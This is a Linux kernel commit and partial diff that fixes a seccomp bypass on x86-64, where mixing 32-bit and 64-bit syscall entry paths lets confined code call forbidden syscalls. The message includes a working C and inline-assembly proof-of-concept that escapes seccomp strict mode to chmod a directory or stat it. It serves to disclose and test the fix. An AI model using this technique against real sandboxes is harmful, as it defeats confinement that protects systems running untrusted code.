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x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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ccbe495caa
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8 changed files with 14 additions and 28 deletions
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@ -1,6 +1,5 @@
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#ifndef __ASM_SECCOMP_H
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#include <linux/thread_info.h>
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#include <linux/unistd.h>
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#define __NR_seccomp_read __NR_read
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@ -210,5 +210,10 @@ struct compat_shmid64_ds {
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compat_ulong_t __unused6;
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};
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static inline int is_compat_task(void)
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{
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return test_thread_flag(TIF_32BIT);
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}
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#endif /* __KERNEL__ */
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#endif /* _ASM_POWERPC_COMPAT_H */
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@ -1,10 +1,6 @@
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#ifndef _ASM_POWERPC_SECCOMP_H
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#define _ASM_POWERPC_SECCOMP_H
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#ifdef __KERNEL__
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#include <linux/thread_info.h>
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#endif
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#include <linux/unistd.h>
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#define __NR_seccomp_read __NR_read
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@ -240,4 +240,9 @@ struct compat_shmid64_ds {
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unsigned int __unused2;
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};
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static inline int is_compat_task(void)
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{
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return test_thread_flag(TIF_32BIT);
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}
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#endif /* _ASM_SPARC64_COMPAT_H */
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@ -1,11 +1,5 @@
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#ifndef _ASM_SECCOMP_H
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#include <linux/thread_info.h> /* already defines TIF_32BIT */
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#ifndef TIF_32BIT
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#error "unexpected TIF_32BIT on sparc64"
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#endif
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#include <linux/unistd.h>
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#define __NR_seccomp_read __NR_read
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@ -1,12 +1,6 @@
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#ifndef _ASM_X86_SECCOMP_32_H
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#define _ASM_X86_SECCOMP_32_H
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#include <linux/thread_info.h>
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#ifdef TIF_32BIT
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#error "unexpected TIF_32BIT on i386"
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#endif
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#include <linux/unistd.h>
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#define __NR_seccomp_read __NR_read
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@ -1,14 +1,6 @@
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#ifndef _ASM_X86_SECCOMP_64_H
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#define _ASM_X86_SECCOMP_64_H
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#include <linux/thread_info.h>
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#ifdef TIF_32BIT
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#error "unexpected TIF_32BIT on x86_64"
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#else
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#define TIF_32BIT TIF_IA32
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#endif
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#include <linux/unistd.h>
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#include <asm/ia32_unistd.h>
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@ -8,6 +8,7 @@
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#include <linux/seccomp.h>
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#include <linux/sched.h>
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#include <linux/compat.h>
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/* #define SECCOMP_DEBUG 1 */
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#define NR_SECCOMP_MODES 1
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@ -22,7 +23,7 @@ static int mode1_syscalls[] = {
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0, /* null terminated */
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};
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#ifdef TIF_32BIT
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#ifdef CONFIG_COMPAT
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static int mode1_syscalls_32[] = {
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__NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32,
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0, /* null terminated */
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@ -37,8 +38,8 @@ void __secure_computing(int this_syscall)
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switch (mode) {
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case 1:
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syscall = mode1_syscalls;
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#ifdef TIF_32BIT
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if (test_thread_flag(TIF_32BIT))
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#ifdef CONFIG_COMPAT
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if (is_compat_task())
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syscall = mode1_syscalls_32;
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#endif
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do {
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